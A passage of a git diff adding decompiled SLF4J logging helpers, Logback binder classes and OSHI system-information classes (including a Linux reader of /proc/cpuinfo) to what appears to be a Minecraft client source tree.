+  }
+  
+  public final void error(String msg) {}
+  
+  public final void error(String format, Object arg1) {}
+  
+  public final void error(String format, Object arg1, Object arg2) {}
+  
+  public final void error(String format, Object... argArray) {}
+  
+  public final void error(String msg, Throwable t) {}
+}
diff --git a/src/minecraft/org/slf4j/helpers/NOPLoggerFactory.java b/src/minecraft/org/slf4j/helpers/NOPLoggerFactory.java
new file mode 100644
index 0000000..ce9c318
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/NOPLoggerFactory.java
@@ -0,0 +1,48 @@
+package org.slf4j.helpers;
+
+import org.slf4j.ILoggerFactory;
+import org.slf4j.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NOPLoggerFactory
+  implements ILoggerFactory
+{
+  public NOPLoggerFactory() {}
+  
+  public Logger getLogger(String name)
+  {
+    return NOPLogger.NOP_LOGGER;
+  }
+}
diff --git a/src/minecraft/org/slf4j/helpers/NOPMDCAdapter.java b/src/minecraft/org/slf4j/helpers/NOPMDCAdapter.java
new file mode 100644
index 0000000..2decefb
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/NOPMDCAdapter.java
@@ -0,0 +1,60 @@
+package org.slf4j.helpers;
+
+import java.util.Map;
+import org.slf4j.spi.MDCAdapter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NOPMDCAdapter
+  implements MDCAdapter
+{
+  public NOPMDCAdapter() {}
+  
+  public void clear() {}
+  
+  public String get(String key)
+  {
+    return null;
+  }
+  
+
+  public void put(String key, String val) {}
+  
+  public void remove(String key) {}
+  
+  public Map<String, String> getCopyOfContextMap()
+  {
+    return null;
+  }
+  
+  public void setContextMap(Map<String, String> contextMap) {}
+}
diff --git a/src/minecraft/org/slf4j/helpers/NOPMakerAdapter.java b/src/minecraft/org/slf4j/helpers/NOPMakerAdapter.java
new file mode 100644
index 0000000..538a5a4
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/NOPMakerAdapter.java
@@ -0,0 +1,36 @@
+package org.slf4j.helpers;
+
+import java.util.Map;
+import org.slf4j.spi.MDCAdapter;
+
+
+
+
+
+
+
+
+public class NOPMakerAdapter
+  implements MDCAdapter
+{
+  public NOPMakerAdapter() {}
+  
+  public void clear() {}
+  
+  public String get(String key)
+  {
+    return null;
+  }
+  
+
+  public void put(String key, String val) {}
+  
+  public void remove(String key) {}
+  
+  public Map getCopyOfContextMap()
+  {
+    return null;
+  }
+  
+  public void setContextMap(Map contextMap) {}
+}
diff --git a/src/minecraft/org/slf4j/helpers/NamedLoggerBase.java b/src/minecraft/org/slf4j/helpers/NamedLoggerBase.java
new file mode 100644
index 0000000..eb1a28a
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/NamedLoggerBase.java
@@ -0,0 +1,69 @@
+package org.slf4j.helpers;
+
+import java.io.ObjectStreamException;
+import java.io.Serializable;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class NamedLoggerBase
+  implements Logger, Serializable
+{
+  private static final long serialVersionUID = 7535258609338176893L;
+  protected String name;
+  
+  NamedLoggerBase() {}
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected Object readResolve()
+    throws ObjectStreamException
+  {
+    return LoggerFactory.getLogger(getName());
+  }
+}
diff --git a/src/minecraft/org/slf4j/helpers/SubstituteLogger.java b/src/minecraft/org/slf4j/helpers/SubstituteLogger.java
new file mode 100644
index 0000000..2de5104
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/SubstituteLogger.java
@@ -0,0 +1,325 @@
+package org.slf4j.helpers;
+
+import org.slf4j.Logger;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SubstituteLogger
+  implements Logger
+{
+  private final String name;
+  private volatile Logger _delegate;
+  
+  public SubstituteLogger(String name)
+  {
+    this.name = name;
+  }
+  
+  public String getName() {
+    return name;
+  }
+  
+  public boolean isTraceEnabled() {
+    return delegate().isTraceEnabled();
+  }
+  
+  public void trace(String msg) {
+    delegate().trace(msg);
+  }
+  
+  public void trace(String format, Object arg) {
+    delegate().trace(format, arg);
+  }
+  
+  public void trace(String format, Object arg1, Object arg2) {
+    delegate().trace(format, arg1, arg2);
+  }
+  
+  public void trace(String format, Object... arguments) {
+    delegate().trace(format, arguments);
+  }
+  
+  public void trace(String msg, Throwable t) {
+    delegate().trace(msg, t);
+  }
+  
+  public boolean isTraceEnabled(Marker marker) {
+    return delegate().isTraceEnabled(marker);
+  }
+  
+  public void trace(Marker marker, String msg) {
+    delegate().trace(marker, msg);
+  }
+  
+  public void trace(Marker marker, String format, Object arg) {
+    delegate().trace(marker, format, arg);
+  }
+  
+  public void trace(Marker marker, String format, Object arg1, Object arg2) {
+    delegate().trace(marker, format, arg1, arg2);
+  }
+  
+  public void trace(Marker marker, String format, Object... arguments) {
+    delegate().trace(marker, format, arguments);
+  }
+  
+  public void trace(Marker marker, String msg, Throwable t) {
+    delegate().trace(marker, msg, t);
+  }
+  
+  public boolean isDebugEnabled() {
+    return delegate().isDebugEnabled();
+  }
+  
+  public void debug(String msg) {
+    delegate().debug(msg);
+  }
+  
+  public void debug(String format, Object arg) {
+    delegate().debug(format, arg);
+  }
+  
+  public void debug(String format, Object arg1, Object arg2) {
+    delegate().debug(format, arg1, arg2);
+  }
+  
+  public void debug(String format, Object... arguments) {
+    delegate().debug(format, arguments);
+  }
+  
+  public void debug(String msg, Throwable t) {
+    delegate().debug(msg, t);
+  }
+  
+  public boolean isDebugEnabled(Marker marker) {
+    return delegate().isDebugEnabled(marker);
+  }
+  
+  public void debug(Marker marker, String msg) {
+    delegate().debug(marker, msg);
+  }
+  
+  public void debug(Marker marker, String format, Object arg) {
+    delegate().debug(marker, format, arg);
+  }
+  
+  public void debug(Marker marker, String format, Object arg1, Object arg2) {
+    delegate().debug(marker, format, arg1, arg2);
+  }
+  
+  public void debug(Marker marker, String format, Object... arguments) {
+    delegate().debug(marker, format, arguments);
+  }
+  
+  public void debug(Marker marker, String msg, Throwable t) {
+    delegate().debug(marker, msg, t);
+  }
+  
+  public boolean isInfoEnabled() {
+    return delegate().isInfoEnabled();
+  }
+  
+  public void info(String msg) {
+    delegate().info(msg);
+  }
+  
+  public void info(String format, Object arg) {
+    delegate().info(format, arg);
+  }
+  
+  public void info(String format, Object arg1, Object arg2) {
+    delegate().info(format, arg1, arg2);
+  }
+  
+  public void info(String format, Object... arguments) {
+    delegate().info(format, arguments);
+  }
+  
+  public void info(String msg, Throwable t) {
+    delegate().info(msg, t);
+  }
+  
+  public boolean isInfoEnabled(Marker marker) {
+    return delegate().isInfoEnabled(marker);
+  }
+  
+  public void info(Marker marker, String msg) {
+    delegate().info(marker, msg);
+  }
+  
+  public void info(Marker marker, String format, Object arg) {
+    delegate().info(marker, format, arg);
+  }
+  
+  public void info(Marker marker, String format, Object arg1, Object arg2) {
+    delegate().info(marker, format, arg1, arg2);
+  }
+  
+  public void info(Marker marker, String format, Object... arguments) {
+    delegate().info(marker, format, arguments);
+  }
+  
+  public void info(Marker marker, String msg, Throwable t) {
+    delegate().info(marker, msg, t);
+  }
+  
+  public boolean isWarnEnabled() {
+    return delegate().isWarnEnabled();
+  }
+  
+  public void warn(String msg) {
+    delegate().warn(msg);
+  }
+  
+  public void warn(String format, Object arg) {
+    delegate().warn(format, arg);
+  }
+  
+  public void warn(String format, Object arg1, Object arg2) {
+    delegate().warn(format, arg1, arg2);
+  }
+  
+  public void warn(String format, Object... arguments) {
+    delegate().warn(format, arguments);
+  }
+  
+  public void warn(String msg, Throwable t) {
+    delegate().warn(msg, t);
+  }
+  
+  public boolean isWarnEnabled(Marker marker) {
+    return delegate().isWarnEnabled(marker);
+  }
+  
+  public void warn(Marker marker, String msg) {
+    delegate().warn(marker, msg);
+  }
+  
+  public void warn(Marker marker, String format, Object arg) {
+    delegate().warn(marker, format, arg);
+  }
+  
+  public void warn(Marker marker, String format, Object arg1, Object arg2) {
+    delegate().warn(marker, format, arg1, arg2);
+  }
+  
+  public void warn(Marker marker, String format, Object... arguments) {
+    delegate().warn(marker, format, arguments);
+  }
+  
+  public void warn(Marker marker, String msg, Throwable t) {
+    delegate().warn(marker, msg, t);
+  }
+  
+  public boolean isErrorEnabled() {
+    return delegate().isErrorEnabled();
+  }
+  
+  public void error(String msg) {
+    delegate().error(msg);
+  }
+  
+  public void error(String format, Object arg) {
+    delegate().error(format, arg);
+  }
+  
+  public void error(String format, Object arg1, Object arg2) {
+    delegate().error(format, arg1, arg2);
+  }
+  
+  public void error(String format, Object... arguments) {
+    delegate().error(format, arguments);
+  }
+  
+  public void error(String msg, Throwable t) {
+    delegate().error(msg, t);
+  }
+  
+  public boolean isErrorEnabled(Marker marker) {
+    return delegate().isErrorEnabled(marker);
+  }
+  
+  public void error(Marker marker, String msg) {
+    delegate().error(marker, msg);
+  }
+  
+  public void error(Marker marker, String format, Object arg) {
+    delegate().error(marker, format, arg);
+  }
+  
+  public void error(Marker marker, String format, Object arg1, Object arg2) {
+    delegate().error(marker, format, arg1, arg2);
+  }
+  
+  public void error(Marker marker, String format, Object... arguments) {
+    delegate().error(marker, format, arguments);
+  }
+  
+  public void error(Marker marker, String msg, Throwable t) {
+    delegate().error(marker, msg, t);
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) return true;
+    if ((o == null) || (getClass() != o.getClass())) { return false;
+    }
+    SubstituteLogger that = (SubstituteLogger)o;
+    
+    if (!name.equals(name)) { return false;
+    }
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    return name.hashCode();
+  }
+  
+
+
+
+  Logger delegate()
+  {
+    return _delegate != null ? _delegate : NOPLogger.NOP_LOGGER;
+  }
+  
+
+
+
+  public void setDelegate(Logger delegate)
+  {
+    _delegate = delegate;
+  }
+}
diff --git a/src/minecraft/org/slf4j/helpers/SubstituteLoggerFactory.java b/src/minecraft/org/slf4j/helpers/SubstituteLoggerFactory.java
new file mode 100644
index 0000000..b2da7b6
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/SubstituteLoggerFactory.java
@@ -0,0 +1,67 @@
+package org.slf4j.helpers;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import org.slf4j.ILoggerFactory;
+import org.slf4j.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SubstituteLoggerFactory
+  implements ILoggerFactory
+{
+  public SubstituteLoggerFactory() {}
+  
+  final ConcurrentMap<String, SubstituteLogger> loggers = new ConcurrentHashMap();
+  
+  public Logger getLogger(String name) {
+    SubstituteLogger logger = (SubstituteLogger)loggers.get(name);
+    if (logger == null) {
+      logger = new SubstituteLogger(name);
+      SubstituteLogger oldLogger = (SubstituteLogger)loggers.putIfAbsent(name, logger);
+      if (oldLogger != null)
+        logger = oldLogger;
+    }
+    return logger;
+  }
+  
+  public List<String> getLoggerNames() {
+    return new ArrayList(loggers.keySet());
+  }
+  
+  public List<SubstituteLogger> getLoggers() {
+    return new ArrayList(loggers.values());
+  }
+  
+  public void clear() {
+    loggers.clear();
+  }
+}
diff --git a/src/minecraft/org/slf4j/helpers/Util.java b/src/minecraft/org/slf4j/helpers/Util.java
new file mode 100644
index 0000000..dcb78d7
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/Util.java
@@ -0,0 +1,45 @@
+package org.slf4j.helpers;
+
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Util
+{
+  public Util() {}
+  
+  public static final void report(String msg, Throwable t)
+  {
+    System.err.println(msg);
+    System.err.println("Reported exception:");
+    t.printStackTrace();
+  }
+  
+  public static final void report(String msg) {
+    System.err.println("SLF4J: " + msg);
+  }
+}
diff --git a/src/minecraft/org/slf4j/impl/CopyOnInheritThreadLocal.java b/src/minecraft/org/slf4j/impl/CopyOnInheritThreadLocal.java
new file mode 100644
index 0000000..83af7eb
--- /dev/null
+++ b/src/minecraft/org/slf4j/impl/CopyOnInheritThreadLocal.java
@@ -0,0 +1,26 @@
+package org.slf4j.impl;
+
+import java.util.HashMap;
+
+
+
+
+
+
+
+
+
+public class CopyOnInheritThreadLocal
+  extends InheritableThreadLocal<HashMap<String, String>>
+{
+  public CopyOnInheritThreadLocal() {}
+  
+  protected HashMap<String, String> childValue(HashMap<String, String> parentValue)
+  {
+    if (parentValue == null) {
+      return null;
+    }
+    HashMap<String, String> hm = new HashMap(parentValue);
+    return hm;
+  }
+}
diff --git a/src/minecraft/org/slf4j/impl/LogbackMDCAdapter.java b/src/minecraft/org/slf4j/impl/LogbackMDCAdapter.java
new file mode 100644
index 0000000..3395f27
--- /dev/null
+++ b/src/minecraft/org/slf4j/impl/LogbackMDCAdapter.java
@@ -0,0 +1,162 @@
+package org.slf4j.impl;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+import org.slf4j.spi.MDCAdapter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LogbackMDCAdapter
+  implements MDCAdapter
+{
+  final CopyOnInheritThreadLocal copyOnInheritThreadLocal = new CopyOnInheritThreadLocal();
+  
+
+
+
+
+
+
+
+
+  LogbackMDCAdapter() {}
+  
+
+
+
+
+
+
+
+  public void put(String key, String val)
+    throws IllegalArgumentException
+  {
+    if (key == null) {
+      throw new IllegalArgumentException("key cannot be null");
+    }
+    
+    HashMap<String, String> oldMap = (HashMap)copyOnInheritThreadLocal.get();
+    
+    HashMap<String, String> newMap = new HashMap();
+    if (oldMap != null) {
+      newMap.putAll(oldMap);
+    }
+    
+    copyOnInheritThreadLocal.set(newMap);
+    newMap.put(key, val);
+  }
+  
+
+
+
+
+  public String get(String key)
+  {
+    HashMap<String, String> hashMap = (HashMap)copyOnInheritThreadLocal.get();
+    
+    if ((hashMap != null) && (key != null)) {
+      return (String)hashMap.get(key);
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  public void remove(String key)
+  {
+    HashMap<String, String> oldMap = (HashMap)copyOnInheritThreadLocal.get();
+    
+    HashMap<String, String> newMap = new HashMap();
+    if (oldMap != null) {
+      newMap.putAll(oldMap);
+    }
+    
+    copyOnInheritThreadLocal.set(newMap);
+    newMap.remove(key);
+  }
+  
+
+
+  public void clear()
+  {
+    HashMap<String, String> hashMap = (HashMap)copyOnInheritThreadLocal.get();
+    
+    if (hashMap != null) {
+      hashMap.clear();
+      copyOnInheritThreadLocal.remove();
+    }
+  }
+  
+
+
+
+  public Map<String, String> getPropertyMap()
+  {
+    return (Map)copyOnInheritThreadLocal.get();
+  }
+  
+
+
+
+  public Map getCopyOfContextMap()
+  {
+    HashMap<String, String> hashMap = (HashMap)copyOnInheritThreadLocal.get();
+    if (hashMap == null) {
+      return null;
+    }
+    return new HashMap(hashMap);
+  }
+  
+
+
+
+
+  public Set<String> getKeys()
+  {
+    HashMap<String, String> hashMap = (HashMap)copyOnInheritThreadLocal.get();
+    
+    if (hashMap != null) {
+      return hashMap.keySet();
+    }
+    return null;
+  }
+  
+
+  public void setContextMap(Map contextMap)
+  {
+    HashMap<String, String> oldMap = (HashMap)copyOnInheritThreadLocal.get();
+    
+    HashMap<String, String> newMap = new HashMap();
+    newMap.putAll(contextMap);
+    
+
+    copyOnInheritThreadLocal.set(newMap);
+    
+
+    if (oldMap != null) {
+      oldMap.clear();
+      oldMap = null;
+    }
+  }
+}
diff --git a/src/minecraft/org/slf4j/impl/StaticLoggerBinder.java b/src/minecraft/org/slf4j/impl/StaticLoggerBinder.java
new file mode 100644
index 0000000..f97ebd3
--- /dev/null
+++ b/src/minecraft/org/slf4j/impl/StaticLoggerBinder.java
@@ -0,0 +1,117 @@
+package org.slf4j.impl;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.selector.ContextSelector;
+import ch.qos.logback.classic.util.ContextInitializer;
+import ch.qos.logback.classic.util.ContextSelectorStaticBinder;
+import ch.qos.logback.core.joran.spi.JoranException;
+import ch.qos.logback.core.status.StatusUtil;
+import ch.qos.logback.core.util.StatusPrinter;
+import org.slf4j.ILoggerFactory;
+import org.slf4j.helpers.Util;
+import org.slf4j.spi.LoggerFactoryBinder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StaticLoggerBinder
+  implements LoggerFactoryBinder
+{
+  public static String REQUESTED_API_VERSION = "1.6";
+  
+
+
+  static final String NULL_CS_URL = "http://logback.qos.ch/codes.html#null_CS";
+  
+
+  private static StaticLoggerBinder SINGLETON = new StaticLoggerBinder();
+  
+  private static Object KEY = new Object();
+  
+  static {
+    SINGLETON.init();
+  }
+  
+  private boolean initialized = false;
+  private LoggerContext defaultLoggerContext = new LoggerContext();
+  private final ContextSelectorStaticBinder contextSelectorBinder = ContextSelectorStaticBinder.getSingleton();
+  
+  private StaticLoggerBinder()
+  {
+    defaultLoggerContext.setName("default");
+  }
+  
+  public static StaticLoggerBinder getSingleton() {
+    return SINGLETON;
+  }
+  
+
+
+  static void reset()
+  {
+    SINGLETON = new StaticLoggerBinder();
+    SINGLETON.init();
+  }
+  
+  void init()
+  {
+    try
+    {
+      try
+      {
+        new ContextInitializer(defaultLoggerContext).autoConfig();
+      } catch (JoranException je) {
+        Util.report("Failed to auto configure default logger context", je);
+      }
+      
+      if (!StatusUtil.contextHasStatusListener(defaultLoggerContext)) {
+        StatusPrinter.printInCaseOfErrorsOrWarnings(defaultLoggerContext);
+      }
+      contextSelectorBinder.init(defaultLoggerContext, KEY);
+      initialized = true;
+    }
+    catch (Throwable t) {
+      Util.report("Failed to instantiate [" + LoggerContext.class.getName() + "]", t);
+    }
+  }
+  
+  public ILoggerFactory getLoggerFactory()
+  {
+    if (!initialized) {
+      return defaultLoggerContext;
+    }
+    
+    if (contextSelectorBinder.getContextSelector() == null) {
+      throw new IllegalStateException("contextSelector cannot be null. See also http://logback.qos.ch/codes.html#null_CS");
+    }
+    
+    return contextSelectorBinder.getContextSelector().getLoggerContext();
+  }
+  
+  public String getLoggerFactoryClassStr() {
+    return contextSelectorBinder.getClass().getName();
+  }
+}
diff --git a/src/minecraft/org/slf4j/impl/StaticMDCBinder.java b/src/minecraft/org/slf4j/impl/StaticMDCBinder.java
new file mode 100644
index 0000000..54a9b66
--- /dev/null
+++ b/src/minecraft/org/slf4j/impl/StaticMDCBinder.java
@@ -0,0 +1,48 @@
+package org.slf4j.impl;
+
+import ch.qos.logback.classic.util.LogbackMDCAdapter;
+import org.slf4j.spi.MDCAdapter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StaticMDCBinder
+{
+  public static final StaticMDCBinder SINGLETON = new StaticMDCBinder();
+  
+
+
+  private StaticMDCBinder() {}
+  
+
+
+  public MDCAdapter getMDCA()
+  {
+    return new LogbackMDCAdapter();
+  }
+  
+  public String getMDCAdapterClassStr() {
+    return LogbackMDCAdapter.class.getName();
+  }
+}
diff --git a/src/minecraft/org/slf4j/impl/StaticMarkerBinder.java b/src/minecraft/org/slf4j/impl/StaticMarkerBinder.java
new file mode 100644
index 0000000..459f674
--- /dev/null
+++ b/src/minecraft/org/slf4j/impl/StaticMarkerBinder.java
@@ -0,0 +1,55 @@
+package org.slf4j.impl;
+
+import org.slf4j.IMarkerFactory;
+import org.slf4j.helpers.BasicMarkerFactory;
+import org.slf4j.spi.MarkerFactoryBinder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StaticMarkerBinder
+  implements MarkerFactoryBinder
+{
+  public static final StaticMarkerBinder SINGLETON = new StaticMarkerBinder();
+  
+  final IMarkerFactory markerFactory = new BasicMarkerFactory();
+  
+
+
+  private StaticMarkerBinder() {}
+  
+
+
+  public IMarkerFactory getMarkerFactory()
+  {
+    return markerFactory;
+  }
+  
+
+
+
+  public String getMarkerFactoryClassStr()
+  {
+    return BasicMarkerFactory.class.getName();
+  }
+}
diff --git a/src/minecraft/org/slf4j/spi/LocationAwareLogger.java b/src/minecraft/org/slf4j/spi/LocationAwareLogger.java
new file mode 100644
index 0000000..50d3758
--- /dev/null
+++ b/src/minecraft/org/slf4j/spi/LocationAwareLogger.java
@@ -0,0 +1,16 @@
+package org.slf4j.spi;
+
+import org.slf4j.Logger;
+import org.slf4j.Marker;
+
+public abstract interface LocationAwareLogger
+  extends Logger
+{
+  public static final int TRACE_INT = 0;
+  public static final int DEBUG_INT = 10;
+  public static final int INFO_INT = 20;
+  public static final int WARN_INT = 30;
+  public static final int ERROR_INT = 40;
+  
+  public abstract void log(Marker paramMarker, String paramString1, int paramInt, String paramString2, Object[] paramArrayOfObject, Throwable paramThrowable);
+}
diff --git a/src/minecraft/org/slf4j/spi/LoggerFactoryBinder.java b/src/minecraft/org/slf4j/spi/LoggerFactoryBinder.java
new file mode 100644
index 0000000..09fd3a7
--- /dev/null
+++ b/src/minecraft/org/slf4j/spi/LoggerFactoryBinder.java
@@ -0,0 +1,10 @@
+package org.slf4j.spi;
+
+import org.slf4j.ILoggerFactory;
+
+public abstract interface LoggerFactoryBinder
+{
+  public abstract ILoggerFactory getLoggerFactory();
+  
+  public abstract String getLoggerFactoryClassStr();
+}
diff --git a/src/minecraft/org/slf4j/spi/MDCAdapter.java b/src/minecraft/org/slf4j/spi/MDCAdapter.java
new file mode 100644
index 0000000..0fadbd1
--- /dev/null
+++ b/src/minecraft/org/slf4j/spi/MDCAdapter.java
@@ -0,0 +1,18 @@
+package org.slf4j.spi;
+
+import java.util.Map;
+
+public abstract interface MDCAdapter
+{
+  public abstract void put(String paramString1, String paramString2);
+  
+  public abstract String get(String paramString);
+  
+  public abstract void remove(String paramString);
+  
+  public abstract void clear();
+  
+  public abstract Map<String, String> getCopyOfContextMap();
+  
+  public abstract void setContextMap(Map<String, String> paramMap);
+}
diff --git a/src/minecraft/org/slf4j/spi/MarkerFactoryBinder.java b/src/minecraft/org/slf4j/spi/MarkerFactoryBinder.java
new file mode 100644
index 0000000..bbc4423
--- /dev/null
+++ b/src/minecraft/org/slf4j/spi/MarkerFactoryBinder.java
@@ -0,0 +1,10 @@
+package org.slf4j.spi;
+
+import org.slf4j.IMarkerFactory;
+
+public abstract interface MarkerFactoryBinder
+{
+  public abstract IMarkerFactory getMarkerFactory();
+  
+  public abstract String getMarkerFactoryClassStr();
+}
diff --git a/src/minecraft/oshi/PlatformEnum.java b/src/minecraft/oshi/PlatformEnum.java
new file mode 100644
index 0000000..f01c07b
--- /dev/null
+++ b/src/minecraft/oshi/PlatformEnum.java
@@ -0,0 +1,8 @@
+package oshi;
+
+public enum PlatformEnum
+{
+  WINDOWS,  LINUX,  MACOSX,  UNKNOWN;
+  
+  private PlatformEnum() {}
+}
diff --git a/src/minecraft/oshi/SystemInfo.java b/src/minecraft/oshi/SystemInfo.java
new file mode 100644
index 0000000..e27a4b1
--- /dev/null
+++ b/src/minecraft/oshi/SystemInfo.java
@@ -0,0 +1,93 @@
+package oshi;
+
+import com.sun.jna.Platform;
+import oshi.hardware.HardwareAbstractionLayer;
+import oshi.software.os.OperatingSystem;
+import oshi.software.os.linux.LinuxHardwareAbstractionLayer;
+import oshi.software.os.linux.LinuxOperatingSystem;
+import oshi.software.os.mac.MacHardwareAbstractionLayer;
+import oshi.software.os.mac.MacOperatingSystem;
+import oshi.software.os.windows.WindowsHardwareAbstractionLayer;
+import oshi.software.os.windows.WindowsOperatingSystem;
+
+
+
+
+
+
+
+public class SystemInfo
+{
+  private OperatingSystem _os;
+  private HardwareAbstractionLayer _hardware;
+  private PlatformEnum currentPlatformEnum;
+  
+  public SystemInfo()
+  {
+    _os = null;
+    _hardware = null;
+    
+
+
+    if (Platform.isWindows()) {
+      currentPlatformEnum = PlatformEnum.WINDOWS;
+    } else if (Platform.isLinux()) {
+      currentPlatformEnum = PlatformEnum.LINUX;
+    } else if (Platform.isMac()) {
+      currentPlatformEnum = PlatformEnum.MACOSX;
+    } else {
+      currentPlatformEnum = PlatformEnum.UNKNOWN;
+    }
+  }
+  
+
+
+
+  public OperatingSystem getOperatingSystem()
+  {
+    if (_os == null) {
+      switch (1.$SwitchMap$oshi$PlatformEnum[currentPlatformEnum.ordinal()])
+      {
+      case 1: 
+        _os = new WindowsOperatingSystem();
+        break;
+      case 2: 
+        _os = new LinuxOperatingSystem();
+        break;
+      case 3: 
+        _os = new MacOperatingSystem();
+        break;
+      
+      default: 
+        throw new RuntimeException("Operating system not supported: " + Platform.getOSType());
+      }
+    }
+    return _os;
+  }
+  
+
+
+
+
+  public HardwareAbstractionLayer getHardware()
+  {
+    if (_hardware == null) {
+      switch (1.$SwitchMap$oshi$PlatformEnum[currentPlatformEnum.ordinal()])
+      {
+      case 1: 
+        _hardware = new WindowsHardwareAbstractionLayer();
+        break;
+      case 2: 
+        _hardware = new LinuxHardwareAbstractionLayer();
+        break;
+      case 3: 
+        _hardware = new MacHardwareAbstractionLayer();
+        break;
+      
+      default: 
+        throw new RuntimeException("Operating system not supported: " + Platform.getOSType());
+      }
+    }
+    return _hardware;
+  }
+}
diff --git a/src/minecraft/oshi/hardware/HardwareAbstractionLayer.java b/src/minecraft/oshi/hardware/HardwareAbstractionLayer.java
new file mode 100644
index 0000000..e433871
--- /dev/null
+++ b/src/minecraft/oshi/hardware/HardwareAbstractionLayer.java
@@ -0,0 +1,8 @@
+package oshi.hardware;
+
+public abstract interface HardwareAbstractionLayer
+{
+  public abstract Processor[] getProcessors();
+  
+  public abstract Memory getMemory();
+}
diff --git a/src/minecraft/oshi/hardware/Memory.java b/src/minecraft/oshi/hardware/Memory.java
new file mode 100644
index 0000000..79d28fb
--- /dev/null
+++ b/src/minecraft/oshi/hardware/Memory.java
@@ -0,0 +1,8 @@
+package oshi.hardware;
+
+public abstract interface Memory
+{
+  public abstract long getTotal();
+  
+  public abstract long getAvailable();
+}
diff --git a/src/minecraft/oshi/hardware/Processor.java b/src/minecraft/oshi/hardware/Processor.java
new file mode 100644
index 0000000..e414357
--- /dev/null
+++ b/src/minecraft/oshi/hardware/Processor.java
@@ -0,0 +1,34 @@
+package oshi.hardware;
+
+public abstract interface Processor
+{
+  public abstract String getVendor();
+  
+  public abstract void setVendor(String paramString);
+  
+  public abstract String getName();
+  
+  public abstract void setName(String paramString);
+  
+  public abstract String getIdentifier();
+  
+  public abstract void setIdentifier(String paramString);
+  
+  public abstract boolean isCpu64bit();
+  
+  public abstract void setCpu64(boolean paramBoolean);
+  
+  public abstract String getStepping();
+  
+  public abstract void setStepping(String paramString);
+  
+  public abstract String getModel();
+  
+  public abstract void setModel(String paramString);
+  
+  public abstract String getFamily();
+  
+  public abstract void setFamily(String paramString);
+  
+  public abstract float getLoad();
+}
diff --git a/src/minecraft/oshi/software/os/OperatingSystem.java b/src/minecraft/oshi/software/os/OperatingSystem.java
new file mode 100644
index 0000000..b11ae3c
--- /dev/null
+++ b/src/minecraft/oshi/software/os/OperatingSystem.java
@@ -0,0 +1,10 @@
+package oshi.software.os;
+
+public abstract interface OperatingSystem
+{
+  public abstract String getFamily();
+  
+  public abstract String getManufacturer();
+  
+  public abstract OperatingSystemVersion getVersion();
+}
diff --git a/src/minecraft/oshi/software/os/OperatingSystemVersion.java b/src/minecraft/oshi/software/os/OperatingSystemVersion.java
new file mode 100644
index 0000000..9b1de4b
--- /dev/null
+++ b/src/minecraft/oshi/software/os/OperatingSystemVersion.java
@@ -0,0 +1,3 @@
+package oshi.software.os;
+
+public abstract interface OperatingSystemVersion {}
diff --git a/src/minecraft/oshi/software/os/Process.java b/src/minecraft/oshi/software/os/Process.java
new file mode 100644
index 0000000..6b1b247
--- /dev/null
+++ b/src/minecraft/oshi/software/os/Process.java
@@ -0,0 +1,3 @@
+package oshi.software.os;
+
+public abstract interface Process {}
diff --git a/src/minecraft/oshi/software/os/linux/LinuxHardwareAbstractionLayer.java b/src/minecraft/oshi/software/os/linux/LinuxHardwareAbstractionLayer.java
new file mode 100644
index 0000000..ada8edc
--- /dev/null
+++ b/src/minecraft/oshi/software/os/linux/LinuxHardwareAbstractionLayer.java
@@ -0,0 +1,104 @@
+package oshi.software.os.linux;
+
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.PrintStream;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Scanner;
+import oshi.hardware.HardwareAbstractionLayer;
+import oshi.hardware.Memory;
+import oshi.hardware.Processor;
+import oshi.software.os.linux.proc.CentralProcessor;
+import oshi.software.os.linux.proc.GlobalMemory;
+
+public class LinuxHardwareAbstractionLayer
+  implements HardwareAbstractionLayer
+{
+  private static final String SEPARATOR = "\\s+:\\s";
+  
+  public LinuxHardwareAbstractionLayer() {}
+  
+  private Processor[] _processors = null;
+  private Memory _memory = null;
+  
+  public Memory getMemory() {
+    if (_memory == null) {
+      _memory = new GlobalMemory();
+    }
+    return _memory;
+  }
+  
+  public Processor[] getProcessors()
+  {
+    if (_processors == null) {
+      List<Processor> processors = new ArrayList();
+      Scanner in = null;
+      try {
+        in = new Scanner(new FileReader("/proc/cpuinfo"));
+      } catch (FileNotFoundException e) {
+        System.err.println("Problem with: /proc/cpuinfo");
+        System.err.println(e.getMessage());
+        return null;
+      }
+      in.useDelimiter("\n");
